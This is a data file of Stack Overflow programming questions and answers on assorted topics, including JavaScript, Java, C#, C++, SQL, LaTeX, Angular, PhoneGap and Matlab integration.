25148732	0	 <p>I tried your initial way <em>with</em> the following:</p> <pre><code>use strict; use warnings; use Time::Piece; my $time = Time::Piece-&gt;strptime( "07/26/2014 00:23:09", "%m/%d/%Y %H:%M:%S"); print $time; </code></pre>
23083876	0	 <p>You can attach session with socket and get in <code>connection</code> event. Get the user session in <code>authorization</code>, if you're using express then do this:</p> <pre><code>var sessionStore = new express.session.MemoryStore(); io.set('authorization', function (handshake, accept){ var cookies = require('express/node_modules/cookie').parse(handshake.headers.cookie); var parsed = require('express/node_modules/connect/lib/utils').parseSignedCookies(cookies, 'SESSION_SECRET'); sessionStore.get(parsed.sid, function (error, session){ if (session != null &amp;&amp; session.user != null){ accept(null, true); handshake.session = session; } }); }); </code></pre> <p>And in your connection event you can get it like:</p> <pre><code>socket.handshake.session </code></pre>
12506902	0	 <p>This is definitely a bug but I found a work around. You aren't going to like this but at least it will get your web app working again. You need to examine the User Agent header and if it contains "iPhone OS 6" then do not use:</p> <pre><code>&lt;meta content="yes" name="apple-mobile-web-app-capable" /&gt; </code></pre> <p>Yes, this means that it won't be a true web app and you will get the Safari header and footer bars. But at least it will make your app work again from the home screen. You can see how this works by going to my site <a href="http://www.nextbus.com">www.nextbus.com</a>.</p> <p>Note that it appears that Google ran into this problem. Try going to <code>maps.google.com</code> and then adding the web app to your homescreen. The geolocation will work for it but you will indeed see the ugly Safari header and footer bars.</p> <p>Please complain loudly to Apple!</p>
23164628	0	 <p>Your UI elements in Fragment_Main.xml. You get NullPointerException because you set activity_main.xml as layout for MainActivity: <code>setContentView(R.layout.activity_main);</code>. Move the layout from Fragment_Main.xml to activity_main.xml.</p>
25335577	0	 <p>The function is marked <code>const</code>, so the developer used a rather ugly <code>const_cast</code> to cast the const away in order to call <code>sort</code>.</p> <p><code>ASSERT</code> appears to be a macro (due to it being in capital letters) that most likely calls <a href="http://www.cplusplus.com/reference/cassert/assert/" rel="nofollow">assert</a>, which terminates the program if the expression evaluates to zero.</p> <p>For a summary of what <code>trimmed mean</code> means, refer to this <a href="http://www.d.umn.edu/~yqi/stat3611/trimmed.pdf" rel="nofollow">page</a>.</p> <blockquote> <p>The 10% trimmed mean is the mean computed by excluding the 10% largest and 10% smallest values from the sample and taking the arithmetic mean of the remaining 80% of the sample ...</p> </blockquote>
38577775	0	 <p>from the bootstrap official site (and, almost, like Eric S. Bullington said.</p> <p><a href="https://getbootstrap.com/components/#navbar-default" rel="nofollow">https://getbootstrap.com/components/#navbar-default</a></p> <p>the example navbar looks like:</p> <pre><code>&lt;nav class="navbar navbar-default"&gt; &lt;div class="container-fluid"&gt; &lt;!-- Brand and toggle get grouped for better mobile display --&gt; &lt;div class="navbar-header"&gt; ...etc </code></pre> <p>to center the nav, that what i've done:</p> <pre><code>&lt;div class="container-fluid" id="nav_center"&gt; </code></pre> <p>css:</p> <pre><code>@media (min-width:768px) { /* don't break navbar on small screen */ #nav_center { width: 700px /* need to found your width according to your entry*/ } } </code></pre> <p>work with class="container" and navbar-right or left, and of course you can replace id by class. :D</p>
18219072	0	Using MigLayout, how can I make JPanel appear <p>I have this ridiculously simple code (actually directly copied from the miglayout white paper: <a href="http://www.miglayout.com/whitepaper.html" rel="nofollow">http://www.miglayout.com/whitepaper.html</a>). I added the panel.setVisible(true) at the end. The problem is, with or without that last line, nothing shows up.</p> <pre><code>MigLayout layout = new MigLayout("fillx", "[right]rel[grow,fill]", "[]10[]"); JPanel panel = new JPanel(layout); panel.add(new JLabel("Enter size:"), ""); panel.add(new JTextField(""), "wrap"); panel.add(new JLabel("Enter weight:"), ""); panel.add(new JTextField(""), ""); panel.setVisible(true); </code></pre>
32209778	0	Passing information to server-side function in a Google Docs Add On <p>I'm working on a Google Docs Add-On based on Google's <a href="https://developers.google.com/apps-script/quickstart/docs" rel="nofollow">Quickstart tutorial</a>. I'm trying to change the workflow of the Add On in the tutorial to append a new page and then insert a translation on that new page rather than the line-by-line workflow.</p> <p>I have a script working in single documents but I'm having a hard time moving it to the Add On architecture. I think it's something to do with passing selections from client-side JS to the server-side script doing the translation.</p> <p><strong>Here's the translate script</strong></p> <pre><code>function translate(origin, dest, savePrefs) { Logger.log('Starting the script'); if (savePrefs == true) { var userProperties = PropertiesService.getUserProperties(); userProperties.setProperty('originLang', origin); userProperties.setProperty('destLang', dest); Logger.log(origin,dest); } var doc = DocumentApp.getActiveDocument(); var body = doc.getBody(); // Add a page break for the translated material. body.appendPageBreak(); // Get the number of elements in the document var elements = body.getNumChildren(); Logger.log('Got the page elements'); // Use the number to loop through each element in the document. for( var i=0;i&lt;elements;i++) { var element = body.getChild(i).copy(); var type = element.getType(); Logger.log('Element Types were successful. Starting tests.'); // Test each type for a child element and run script based on the result // Images are nested in a paragraph as a child, so the second `if` makes // sure there is no image present before moving to the next paragraph. if( type == DocumentApp.ElementType.PARAGRAPH ){ if(element.asParagraph().getNumChildren() != 0 &amp;&amp; element.asParagraph().getChild(0).getType() == DocumentApp.ElementType.INLINE_IMAGE) { var img = element.asParagraph().getChild(0).asInlineImage().getBlob(); body.appendImage(img); } else if(element.asParagraph().getNumChildren() !=0 &amp;&amp; element.asParagraph().getChild(0).getType() == DocumentApp.ElementType.INLINE_DRAWING) { var drawing = element.asParagraph().copy(); body.appendParagraph(drawing); } else { var text = element.asParagraph().getText(); Logger.log(text); var spn = LanguageApp.translate(text, origin, dest); body.appendParagraph(spn); } } else if(type == DocumentApp.ElementType.TABLE) { element.asTable().copy(); body.appendTable(element); } else if(type == DocumentApp.ElementType.LIST_ITEM) { var list = element.asListItem().getText(); body.appendListItem(LanguageApp.translate(list, origin, dest)); } } </code></pre> <p><strong>The client-side JS is:</strong></p> <pre><code>$(function() { $('#run-translation').click(loadPreferences); google.script.run(runTranslation) }); function runTranslation() { this.disabled = true; var origin = $('input[name=origin]:checked').val(); var dest = $('input[name=dest]:checked').val(); var savePrefs = $('#save-prefs').is(':checked'); google.script.run .runTranslation(origin, dest, savePrefs); } </code></pre> <p>If I hard-code the languages to use in translation into the server-side script, it works. But as soon as I try to use variables from the radio buttons, it doesn't run. I don't see any errors in the console and I can't run scripts from the editor to check the logs. How can I debug this code?</p>
32125683	0	 <p>I was able to create reverse proxies by clicking on <strong>Site</strong>, <strong>URL Rewrite</strong>, <strong>Add Rule</strong> and <strong>Reverse Proxy</strong>. </p>
5370594	0	Highly customizable Listview for .Net? <p>do you guys know a .net ListView-Replacement which can be highly customized? I am developing an app which is similar to a "todo" list. I want to be able to customize almost every visual detail of the list so I get something like this:</p> <p><img src="https://i.stack.imgur.com/z9YYd.jpg" alt="ListView"></p> <p>I want also to be able to reorder items by mouse + I need drag&amp;drop. If you don't know any ListView, maybe you know how I could make my own listview like this one from scratch?</p> <p>Thanks for your ideas!</p>
221519	0	Linq to XML 'Where not in' syntax problem <p>The following Code does not compile</p> <pre><code>Dim BasicGroups As String() = New String() {"Node1", "Node2"} Dim NodesToRemove = From Element In SchemaDoc.Root.&lt;Group&gt; _ Where Element.@Name not in BasicGroups For Each XNode In NodesToRemove XNode.Remove() Next </code></pre> <p>It is supposed to Remove any Immediate child of the rootnode which has an attribute called name whose value is <strong>Not</strong> listed in the BasicGroups StringArray.</p> <p><strong>What is the correct syntax for this task?</strong></p>
27797987	0	Exporting am chart on server <p>i am using grails , i need to put <a href="http://www.amcharts.com/demos/simple-column-chart/" rel="nofollow">amchart</a> in my pdf(using iText ) report. chart is created on browser. is there any way . to generate chart as image . so that i put that chart in my pdf.</p>
11929092	0	jQuery UI autocomplete filter data <p>I am new to jquery and I was assigned to filter out the list once the item is already selected. There are 3 textboxes that uses the autocomplete. </p> <p>source: apple, orange, mango</p> <p>textbox 1 = apple textbox 2 = apple should be filtered out in the list. it should only display orange and mango.</p> <p>I was able to filter the source but the list still display the item. But the source gets updated once I refresh the page. I have found this question, here's <a href="http://stackoverflow.com/questions/4699307/jquery-ui-autocomplete-refresh-data">a link</a> but in my case instead of adding, i wanted to filter it out.</p> <p>Any help is appreciated.</p> <p>Thanks! Zel </p>
6791945	0	 <p>Here's a recursive function that will indent:</p> <p>(<strong>Edited</strong>: Indentation wasn't working properly for all subelements, now it does)</p> <pre><code>function arrayPrettyPrint($arr, $level) { foreach($arr as $k =&gt; $v) { for($i = 0; $i &lt; $level; $i++) echo("&amp;nbsp;"); // You can change how you indent here if(!is_array($v)) echo($k . " =&gt; " . $v . "&lt;br/&gt;"); else { echo($k . " =&gt; &lt;br/&gt;"); arrayPrettyPrint($v, $level+1); } } } $arr = array( 1, 2, 3, array( 4, 5, array( 6, 7, array( 8 ))) ); arrayPrettyPrint($arr, 0); </code></pre>
20672761	0	 <p>if your string is converted to md5 string, you never get it back anymore, but you can try the md5 decrypter on the web but it doesn't 100% work as expected. try to reset with new password, i think it's more secure.</p>
11478687	0	 <p>You should add the mouse listener to the JScrollPane's view instead of to the scroll pane itself, since the scroll pane consists of only corners and scroll bars.</p> <pre><code>yourJScrollPane.getViewport().getView().addMouseListener(yourMouseListener); </code></pre> <p>This code segment will add your mouse listener to the JScrollPane's one viewport component.</p>
5386795	0	How to safely save data to an existing file with C#? <p>How do you safely save data to a file that already exists in C#? I have some data that is serialized to a file and I'm pretty sure is not a good idea to safe directly to the file because if anything goes wrong the file will get corrupted and the previous version will get lost.</p> <p>So this is what I've been doing so far:</p> <pre><code>string tempFile = Path.GetTempFileName(); using (Stream tempFileStream = File.Open(tempFile, FileMode.Truncate)) { SafeXmlSerializer xmlFormatter = new SafeXmlSerializer(typeof(Project)); xmlFormatter.Serialize(tempFileStream, Project); } if (File.Exists(fileName)) File.Delete(fileName); File.Move(tempFile, fileName); if (File.Exists(tempFile)) File.Delete(tempFile); </code></pre> <p>The problem is that when I tried to save to a file that was in my <a href="http://www.dropbox.com">Dropbox</a>, sometimes I got an exception telling me that it cannot save to a file that already exists. Apparently the first <code>File.Delete(fileName);</code> didn't delete the file right away but after a little bit. So I got an exception in the <code>File.Move(tempFile, fileName);</code> because the file existed and then the file got erased and my file got lost. </p> <p>I've used other applications with files in my Dropbox and somehow they manage to not mess it up. When I'm trying to save to a file in my Dropbox folder, sometimes I get a message telling me that the file is being used or stuff like that but I never had a problem with a file being erased.</p> <p>So what would it be the standard / best practice here?</p> <p>OK this is what I came up with after reading all answers:</p> <pre><code>private string GetTempFileName(string dir) { string name = null; int attempts = 0; do { name = "temp_" + Player.Math.RandomDigits(10) + ".hsp"; attempts++; if (attempts &gt; 10) throw new Exception("Could not create temporary file."); } while (File.Exists(Path.Combine(dir, name))); return name; } private void SaveProject(string fileName) { bool originalRenamed = false; string tempNewFile = null; string oldFileTempName = null; try { tempNewFile = GetTempFileName(Path.GetDirectoryName(fileName)); using (Stream tempNewFileStream = File.Open(tempNewFile, FileMode.CreateNew)) { SafeXmlSerializer xmlFormatter = new SafeXmlSerializer(typeof(Project)); xmlFormatter.Serialize(tempNewFileStream, Project); } if (File.Exists(fileName)) { oldFileTempName = GetTempFileName(Path.GetDirectoryName(fileName)); File.Move(fileName, oldFileTempName); originalRenamed = true; } File.Move(tempNewFile, fileName); originalRenamed = false; CurrentProjectPath = fileName; } catch (Exception ex) { MessageBox.Show(ex.Message); } finally { if(tempNewFile != null) File.Delete(tempNewFile); if (originalRenamed) MessageBox.Show("'" + fileName + "'" + " have been corrupted or deleted in this operation.\n" + "A backup copy have been created at '" + oldFileTempName + "'"); else if (oldFileTempName != null) File.Delete(oldFileTempName); } } </code></pre> <p><code>Player.Math.RandomDigits</code> is just a little function I made that creates an string with n random digits.</p> <p>I don't see how could this mess up the original file unless the OS is going wacko. It's pretty close to Hans's answer except that I first save the file to a temporary file so that, if something goes wrong when serializing, I don't need to rename the file back to it's original name, which can also go wrong. Please! let me know if you find any flaw.</p>
26388560	0	 <p><code>$apply</code> is necessary to tell angular that changes happened to the scope. Built-in directives and services like <code>ngClick</code> or <code>$http</code> do that internally. If you apply (sic!) changes to the scope and don't use the aforementioned built-in services, then you are responsible for calling <code>$apply</code> yourself.</p> <p>So if <code>show</code> isn't called within an <code>ngClick</code>handler, e.g., then you need to call <code>$apply</code> yourself.</p>
19714087	0	Java File Name Printing <p>I am trying to print name of files from two folders, and this code compiles but not giving anything on running it.</p> <p>The main target here is to find common name files in two folders, I have stored file names in two arrays and then i will applying sorting and will find common files.</p> <pre><code> package javaapplication13; import java.io.File; import java.util.*; public class ListFiles1 { public static void main(String[] args) { String path1 = "C:/"; String path2 = "D:/"; File folder1 = new File(path1); File folder2 = new File(path2); String[] f1=folder1.list(); File[] listOfFiles1 = folder1.listFiles(); File[] listOfFiles2 = folder2.listFiles(); ArrayList&lt;String&gt; fileNames1 = new ArrayList&lt;&gt;(); ArrayList&lt;String&gt; fileNames2 = new ArrayList&lt;&gt;(); for (int i = 0; i &lt; listOfFiles1.length; i++) { if (listOfFiles1[i].isFile()) { fileNames1.add(listOfFiles1[i].getName());//wow System.out.println(listOfFiles1[i].getName()); } } for (int i = 0; i &lt; listOfFiles2.length; i++) { if (listOfFiles2[i].isFile()) { fileNames2.add(listOfFiles2[i].getName());//seriously wow } } } } </code></pre>
32325286	0	How to group by a column with null values <p>I have a table like this:</p> <pre><code>C1 | C2 -----|---- 23 | 10 null | 10 23 | 10 24 | 10 24 | 10 </code></pre> <p>I want group by C1 and calculate null's C2 value in both 23 and 24's sum(C2)</p> <pre><code>SELECT C1, sum(C2) FROM table GROUP BY C1 </code></pre> <p>query return this table:</p> <pre><code>C1 | C2 -----|---- 23 | 20 null | 10 24 | 20 </code></pre> <p>but I want this:</p> <pre><code>C1 | C2 -----|---- 23 | 30 24 | 30 </code></pre> <p>is it possible to get a result like that?</p>
38826053	0	Loading static files in node <p>I have a node application in which I am initializing var app = express() I am initializing some routes by passing this(app) to a function in one of node_modules of my application. addRoutes(app) is a function where I am defining my static folders </p> <pre><code>addRoutes = function (app) { app.set('views', __dirname + '/app'); app.set('view engine', 'html'); app.use(express.static(__dirname )); app.get('/', function (req, res) { res.render('index.html') }) } </code></pre> <p>this addRoutes is present in one of node_modules</p> <p>And my "_dirname" is a typical angular app in which there is a assets folder and all static files are present there but when I go to localhost:3000 none of my static files gets loaded. What am I doing wrong here</p>
8919206	0	What is the syntax to a templated recursive function? <p>This is driving me round the bend at the moment. As a homebrew exercise I wanted to template a recursive call in a class. in the .h file I have:</p> <pre><code>template &lt;typename T1&gt; class BinaryTree { public: BinaryTree(T1 element); ~BinaryTree(); BinaryTree* addLeftLeaf(BinaryTree&lt;T1&gt;* node); </code></pre> <p>etc...</p> <p>then in the .cpp</p> <pre><code>template &lt;typename T1&gt; BinaryTree* BinaryTree&lt;T1&gt;::addLeftLeaf(BinaryTree&lt;T1&gt;* node) { return node; } </code></pre> <p>I've tried seemingly loads of ideas but thus far nothing. Just errors like error C2955: 'BinaryTree' : use of class template requires template argument list</p> <p>Any suggestions would be kindly appreciated.</p> <p>Thanks</p> <p>Mark</p>
9693359	0	 <p>Use a different data structure. I'd suggest trying something like one of the <a href="http://www.boost.org/doc/libs/1_39_0/libs/numeric/ublas/doc/matrix_sparse.htm" rel="nofollow">sparse matrix classes from Boost</a>. They are optimised for storing numeric data in which each row or column contains a significant number of zeroes. Mind you, if the problem you're trying to solve isn't suitable for handling with a sparse data structure, it would be a good idea to set out the nature of the problem you're trying to solve, in greater detail. Take another look at <a href="http://stackoverflow.com/questions/how-to-ask">http://stackoverflow.com/questions/how-to-ask</a> even though I guess you already read that.</p> <p>But before you do that I think you probably have another problem too:</p> <blockquote> <p>access myArray many many times, which is resulting in memory leaks and the program crashing for large calculations</p> </blockquote> <p>It looks to me from what you write there that your code may have some pre-existing bugs. Unless your crashes are simply caused by trying to allocate a 10000000-element array as an <code>auto</code> variable.</p>
38530394	0	 <p>Update your controller:</p> <pre><code>var controller = ['$scope',function ($scope) { ... $scope.$on('my-tpl-ready', function() { $('#firstId').datepicker({ format: 'dd-mm-yyyy' }); }); }]; </code></pre> <p>Also add this to your template:</p> <pre><code>&lt;div ... ng-init="$emit('my-tpl-ready')"&gt; ... &lt;/div&gt; </code></pre>
28288761	0	 <p>I feel like the way you are doing it is not that dirty... But the <code>numpy.fill</code> function is a bit more tidy:</p> <pre><code>In [4]: import numpy as np In [5]: x=np.empty(5) In [6]: x.fill(8) In [7]: x Out[7]: array([ 8., 8., 8., 8., 8.]) </code></pre>
4643171	0	 <p>This should work</p> <pre><code>^(http|https):// </code></pre>
14200665	0	 <p>I have been searched alot on google about HTML Formating in RDLC but couldn't find any proper answer.</p> <p>I got one idea to render html tag in rdlc while you export locally in pdf.</p> <p>Use below expression in textbox :-</p> <p>=Replace(Replace(Replace(Replace(Fields!<strong>your column name*</strong>.Value,"&quot;",""""),"&amp;","&amp;"),"&lt;","&lt;"),"&gt;",">")</p> <ol> <li>&amp;quot replaced by "(Quotes)</li> <li>&amp;amp replaced by &amp;</li> <li>&amp;lt replaced by &lt;</li> <li>&amp;gt Replaced by ></li> </ol> <p>so if you want replaced any more special charachter then just add more in above expression and it will take care of that.</p> <p>I have taken care almost special charachters so whenever you export these in pdf they would be well formated as html tags.</p> <p>If you still find any problem then let me know.</p> <p>Thanks</p> <p>Mahendra Singh</p>
39341239	0	Meteor Js Google Login Cache Issue <p>In my meteorjs application built for both iOS and Android, while logging in with google on mobile or web, the first time I login, it works fine and logs me into the app, but then when I logout of the app and try to re-login with another google account, the popup does not ask me for the username and password, instead it logs me back into the previous account which I initially used. Later, when I remove the browser/app cache, it works fine again for one time only. What should I do to not maintain the cache by google login.</p> <pre><code> Accounts.loginServiceConfiguration.remove({ service: "google" }); Accounts.loginServiceConfiguration.insert({ service: "google", clientId: "abdklabsldaklkahsdlk1238971289312.apps.googleusercontent.com", secret: "acbefghalkdglkaj" }); </code></pre>
17558271	1	python layout/functionality questions <p>I am about to start making a python (2.7) app - using wx, but im still having a few theoretical walls infront, making me sceptical about practical success.</p> <p>So below are a few questions: 1) My app will have many widgets (buttons, entries, labels, comboboxes) - where the majority will be added when the user invokes some events (clicking Add button will create additional labels, entries, comboboxes and buttons). My question here is, how can i keep track of this dynamic content, i sure wish to have a delete option aswell. My best guess was lists, but im still not sure how can i handle something like a combobox + im kinda lost on how could i delete a group of widgets.</p> <p>2) which practice of widget placement would be best for a fixed size frame/panels? Would be manual setting of xypos be just fine? Even considering my questions in 1) - mainly interested how to handle layout if something in the middle of frame gets deleted - holes would not be nice.</p> <p>Many thanks</p>
17196303	0	 <p><a href="http://htmlpurifier.org/" rel="nofollow">HTML Purifier</a> is a standards-compliant HTML filter library written in PHP. HTML Purifier will not only remove all malicious code (better known as XSS) with a thoroughly audited, secure yet permissive whitelist, it will also make sure your documents are standards compliant, something only achievable with a comprehensive knowledge of W3C's specifications. </p>
37069633	0	java.lang.OutOfMemoryError: GC overhead limit exceeded on WSO2 MB <p>I've been recently working on with the <code>WSO2 Message Broker</code> (Ver : 3.1.0 ) in order to publish and consume messages using <code>JMeter</code> as the jms client. So I've got my publisher Java program where I'm publishing the messages from and I'm trying to publish 4000 messages per second. I could provide the snippet if necessary.</p> <p>I'm consuming those messages by running a <code>JMeter</code> command <code>jmeter -n -t C:\Users\ctsadmin\Downloads\wso2MB\apache-jmeter-2.13\bin\GamesSubscriber.jmx -l C:\Users\ctsadmin\Downloads\wso2MB\apache-jmeter-2.13\bin\mytest_results.jtl</code> in headless mode. I kept the <code>VisualVm</code>window opened as well to see the memory consumption for the test. For the first 15 minutes the publishing and consuming has been ok according to the image below, but there after, all of sudden the <code>VisualVm</code> shows a hype and runs out of memory. I'm attaching a screenshot of the <code>VisualVM</code> below.</p> <p><a href="https://i.stack.imgur.com/GNB3Y.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GNB3Y.png" alt="Screenshot of the CPU usage"></a></p> <p>I've checked the <code>heap dump</code> of the <code>WSO2 MB</code> using <code>JProfiler</code> as well. Have attached a screenshot of it too. <a href="https://i.stack.imgur.com/wipJO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wipJO.png" alt="enter image description here"></a></p> <p>What could be the issue? And what changes should I make? Something like increasing the <code>heap</code> size? Any help would be aprreciated.</p> <p><strong>EDIT</strong>: I'm <a href="https://onedrive.live.com/redir?resid=22E6B19629C9077D!259638&amp;authkey=!AKif8Eu6sBnleiw&amp;ithint=folder%2chprof" rel="nofollow noreferrer">hereby</a> attaching the log file and the heap dump. </p>
32331720	0	Getting Error.code = 0 in db.transaction function <p>I am creating a project in Phonegap with Ionic.I am inserting and fetching dynamic content with sqlite and local storage.</p> <p>I created a Dashboard contoller below are my dashboard controller code</p> <pre><code>angular.module('myWallet').controller('dashCtrl', function($scope,$state,$ionicPopup,$ionicHistory,AuthService){ $scope.data = {}; //goBack $scope.myGoBack = function() { $ionicHistory.goBack(); }; //********** error code function ************ function errorDashFunction(err) { alert("Error Code: "+error.code); } //********** Success code function ************ function successDashFunction() { var totalCashInHand = Coming_totalIncome - Coming_totalExpenses; alert(totalCashInHand ); } var current_user_id=window.localStorage.getItem('userid'); var Coming_totalIncome = 0; var Coming_totalExpenses= 0; var Coming_totalCashInHand = 0; //********** Fetching Values from DB ************ db.transaction(function (tx) { tx.executeSql("SELECT SUM(amount) as Totalincome FROM WALLET_INCOMES WHERE user_id ='"+current_user_id+"'", [], function(tx,results){ console.log(results); if(results.rows[0].Totalincome != null) { Coming_totalIncome = results.rows[0].Totalincome; } }); tx.executeSql("SELECT SUM(amount) as Totalexpenses FROM WALLET_EXPENSES WHERE user_id ='"+current_user_id+"'", [], function(tx,results){ if(results.rows[0].Totalexpenses != null) { Coming_totalExpenses = results.rows[0].Totalexpenses; } }); return true; },errorDashFunction,successDashFunction); }) </code></pre> <p>When i run this code on Ripple then it is alerting TotalCashInHand Price. BUT when i am running this code on my mobile then it is always showing Error code "0".</p>
19674464	0	Closing database connection when form is crossed in wpf <p>I am opening database connection using global variable in form constructor and i close it in form Exit button .The problem i am facing is if i cross the form it doesn't close database connection .How i can close connection if form is crossed ?</p>
802490	0	 <p>Thread.Join is what you want.</p>
31269816	0	List of values in latex <p>I am updating documentation written in latex, and I have to implement kind of box which will contain list of possible values and default value for specified item.</p> <p>Tex files already contain some predefined constructions. </p> <p>There is an entry, defined by <strong>\newcommand</strong>, which takes input parameters and creates a box.<br> It is used in next way:</p> <pre><code>%Input values {Min &amp; Max &amp; Default}: {0 &amp; 1 &amp; 0} </code></pre> <p>In final pdf file this construction transforms to next representation:<br> <img src="https://i.stack.imgur.com/DeadJ.png" alt="enter image description here"></p> <p>As I understood it is implemented in next piece of code: </p> <pre><code>\makebox[\linewidth][r]{ \begin{tabular}{llll} Input values: &amp; \mitalic{Min} &amp; \mitalic{Max} &amp; \mitalic{Default} \\ &amp; #8 \\ &amp; &amp; &amp; \\ \end{tabular} } </code></pre> <p>My goal is to implement something similar with next result: </p> <p><img src="https://i.stack.imgur.com/fJdWW.png" alt="enter image description here"></p> <p>Here number of possible values can be different.</p> <p>I have not had any experience with latex before, so sorry if for some of you it is stupid question.</p> <p><strong>UPDATE (19.08.2015):</strong></p> <p>I have used next construction to achieve my goals (see answers <a href="http://tex.stackexchange.com/questions/254303/how-to-define-a-command-that-takes-more-than-18-arguments">here</a> for more information):</p> <pre><code>\newcommand{\ParseOptMenuItemList}[1] { \def\tmplist{#1}% \@tempcnta=\z@ \@for\tmp:=\tmplist\do{\advance\@tempcnta\@ne \expandafter\let\csname temp\@roman\@tempcnta\endcsname\tmp }% \makebox[\linewidth][r]{% \begin{tabular}{lc} Possible values: \ifthenelse{\equal{\tempi}{}}{}{&amp; \tempi\\} \ifthenelse{\equal{\tempii}{}}{}{&amp; \tempii\\} \ifthenelse{\equal{\tempiii}{}}{}{&amp; \tempiii\\} \ifthenelse{\equal{\tempiv}{}}{}{&amp; \tempiv\\} \ifthenelse{\equal{\tempv}{}}{}{&amp; \tempv\\} \ifthenelse{\equal{\tempvi}{}}{}{&amp; \tempvi\\} \ifthenelse{\equal{\tempvii}{}}{}{&amp; \tempvii\\} \ifthenelse{\equal{\tempviii}{}}{}{&amp; \tempviii\\} \ifthenelse{\equal{\tempix}{}}{}{&amp; \tempix\\} \ifthenelse{\equal{\tempx}{}}{}{&amp; \tempx\\} \ifthenelse{\equal{\tempxi}{}}{}{&amp; \tempxi\\} \ifthenelse{\equal{\tempxii}{}}{}{&amp; \tempxii\\} \ifthenelse{\equal{\tempxiii}{}}{}{&amp; \tempxiii\\} \ifthenelse{\equal{\tempxiv}{}}{}{&amp; \tempxiv\\} \ifthenelse{\equal{\tempxv}{}}{}{&amp; \tempxv\\} \ifthenelse{\equal{\tempxvi}{}}{}{&amp; \tempxvi\\} \ifthenelse{\equal{\tempxvii}{}}{}{&amp; \tempxvii\\} \ifthenelse{\equal{\tempxviii}{}}{}{&amp; \tempxviii\\} Default value: &amp; \tempxix\\ \end{tabular} } } </code></pre>
17582591	0	 <p>I'm not certain that introducing a <em>last</em> iterator on the second range for <code>is_permutation</code> would make the function any less unwieldy. I think it would make it more confusing.</p> <p>The thing with permutations is that the semantics are in the name itself. To check that one sequence is a permutation of another, you expect the sequence with no <em>last</em> iterator to be at least as long as the first sequence.</p> <p>If that's not the case, then you don't need to call <code>is_permutation</code> because it simply can't be a permutation. If it's longer, you <em>expect</em> that it's not going to iterate past the length of the first sequence - why would it? Well, it doesn't - and that's what you expected, so no faith is lost.</p> <p>C++ does expect programmers to take basic precautions, and makes us responsible for bounds-checking in many cases. Without giving that control to the programmer, the power of the language is diminished. If I'm calling <code>is_permutation</code> then I <em>know</em> that my second iterator is not going to overflow, because I <em>know</em> what a permutation is. I certainly don't want to waste cycles doing pointless bounds-checking.</p> <p>I think the old saying applies: <em>With great power comes great responsibility</em>. That's fair enough, isn't it?</p>
39479775	0	 <pre><code>def find_price(self, name): if self.dictionary[name]["price"]: return self.dictionary[name]["price"] else: #assuming this is in a class...otherwise use global instead of self return self.find_price(dictionary[name]["child1"])*dictionary[name]["child1_quantity"] + find_price(self.dictionary[name]["child2"])*self.dictionary[name]["child2_quantity"]#.....etc </code></pre> <p>this also assumes that the top level object that you read the data into is a diction where the names also serve as keys in addition to their name fields.</p>
31881799	0	 <p>"Errors" in Rx can be a a little difficult to grasp at first, because they have a slightly different meaning from what most people expect.</p> <p>From the <a href="https://github.com/ReactiveX/RxJava/wiki/Error-Handling" rel="nofollow">Error Handling documentation</a> (emphasis mine):</p> <blockquote> <p>An Observable typically does not throw exceptions. Instead it notifies any observers that <strong>an unrecoverable error has occurred</strong> by terminating the Observable sequence with an onError notification.</p> </blockquote> <p><code>onError()</code> is supposed to be used when an <code>Observable</code> encounters an <em>unrecoverable</em> error- that is when your <code>Observable</code> cannot continue emitting items. When you are subscribing, you might use something like <code>onErrorResumeNext</code> to try some recovery action, but that should be the end of the source <code>Observable</code>.</p> <p>Instead, you may want to adjust what your <code>Observable</code> emits to support emitting an error item, or include a flag indicating that an error was encountered.</p> <p>If your error truly is unrecoverable, then you may want to revisit your recovery strategy and try a slightly different approach.</p>
30307143	0	 <p>Split the string using a regex then loop through all elements, parse them to numbers and get the largest. </p> <p>Since <code>String.split()</code> requires you to provide a regex that matches the delimiters, i.e. in your case everything between digits, use the regex <code>\D+</code>, i.e. "a sequence of at least one non-digit character". Note though that <code>\d</code> matches non-ASCII digits as well, hence <code>\D</code> won't match those, so if you only want to parse ASCII digits you should use <code>[^0-9]+</code>.</p> <p>Rough example:</p> <pre><code>String[] elements = input.split("[^0-9]+"); for( String element : elements ) { //skip empty elements, see note if( element.isEmpty() ) { continue; } //parse and compare here } </code></pre> <p>One note: <code>String.split()</code> will not remove empty elements at the beginning of the array (e.g. when your starts with a non-digit character) thus you'd need to skip empty elements in the loop.</p>
36906123	0	 <p>When the value for <code>scanf("%d",&amp;far);</code> is entered and press enter, the scanf stores the carriage return in the buffer. When it encounters the second scanf in the code <code>scanf("%c",&amp;ch);</code> it takes the carriage return present in the buffer as the input to 'ch'. So it doesn't wait for the user input.</p> <p>Please have a look at the post <a href="http://stackoverflow.com/questions/5240789/scanf-leaves-the-new-line-char-in-buffer">here</a></p> <p>As indicated in one of the reply the solution is to put a space in scanf</p> <pre><code>scanf(" %c",&amp;ch); </code></pre>
24361805	0	Should I instantiate MatlabControl from withing Matlab or Java? <p>It is not obvious from here <a href="http://www.cs.virginia.edu/~whitehouse/matlab/JavaMatlab.html" rel="nofollow">http://www.cs.virginia.edu/~whitehouse/matlab/JavaMatlab.html</a>, how to use <code>MatlabControl</code> class.</p> <p>On one hand it is given an example:</p> <blockquote> <p>First, instantiate a MatlabControl object</p> <pre><code> MatlabControl mc = new MatlabControl(); </code></pre> </blockquote> <p>On the other hand it is said </p> <blockquote> <p>Snag 1: MatlabControl objects must be instantiated from within your Matlab session! (or by other java objects that were instantiated by your matlab session). This is because Matlab runs its own JVM, and you need to run MatlabControl in the same JVM that matlab is using. (this is why you need to make sure that MatlabControl is in your matlab classpath.) More specifically, if your program is defined in "mypackage/MyClass.java", you need to type</p> <p>mypackage.MyClass.main({'param1','param2',...})</p> </blockquote> <p>What is correct? Where to execute </p> <pre><code>MatlabControl mc = new MatlabControl(); </code></pre> <p>?</p> <p>In my java code?</p> <p>Or at matlab command prompt?</p>
